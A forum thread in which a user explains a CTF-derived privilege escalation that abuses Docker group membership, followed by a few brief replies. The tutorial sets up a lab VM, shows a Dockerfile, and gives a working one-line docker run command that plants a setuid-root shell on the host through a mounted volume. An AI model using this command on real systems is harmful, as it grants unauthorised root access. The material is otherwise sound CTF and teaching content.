[ Docker ] Privilege escalation : How the hell did you do that?

root
docker
escale
privilege

#1

Hello Hackers :slight_smile:

I’m back for a tutorial on privilege escalation , and today we will talk about Docker !

image

I’ve done a lot of CTF challenge recently and one of them ( Flick v1 ) include a “Docker privilege escalation”.

If you want to read the original post about the docker privilege escalation you can click here, like mention on the original article “this is not really a docker vulnerability”.

The Virtual Machine


I use vagrant to make a virtual Machine ( but you can use VmWare or VirualBox ).

I download docker, created a new user and add it to the docker group.

The unprivileged user is named : “Docker-rekt”

bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/bin/false
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
docker-reckt:x:1000:1000:,,,:/home/docker-reckt:/bin/bash

docker-rekt belong to the docker group :

docker:x:998:docker-reckt

I created a folder name vulnerable-docker in create a Dockerfile.

here is the contains of the Docker file :

FROM debian:wheezy

ENV WORKDIR /vulnerable-place

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

I build the image with :

docker build -t my-docker-image .

Escale to root

Now we can get a root shell :slight_smile: just with a docker command :

docker run -t -v $PWD:/vulnerable-place vulnerable-docker /bin/sh -c "cp /bin/sh /vulnerable-place && chown root.root sh && chmod a+s sh"

How cool is that ? :slight_smile:

This was just a little “Tutorial or how to” on escale privilege. If you want more tutorial on CTF techniques feel free to ask me


(Command-Line Ninja) #2

Hacks all the things.

Docker escalation is really cool.


#3

@L3akM3-0day definitely will try it myself once I find the time. Wanted to do some CTFs anyway…
Ah so many things to do. I need time.


#4

Yeah too much thing to do xD


(Abdillah Hasny) #5

I think thats is not vulnerability on docker side , if you can control the Docker Command Before i can make sure you have higher privilages to do that.


( X2tf) #6

Yes it isn’t . :wink: \20 chars limit


(system) #7

This topic was automatically closed after 30 days. New replies are no longer allowed.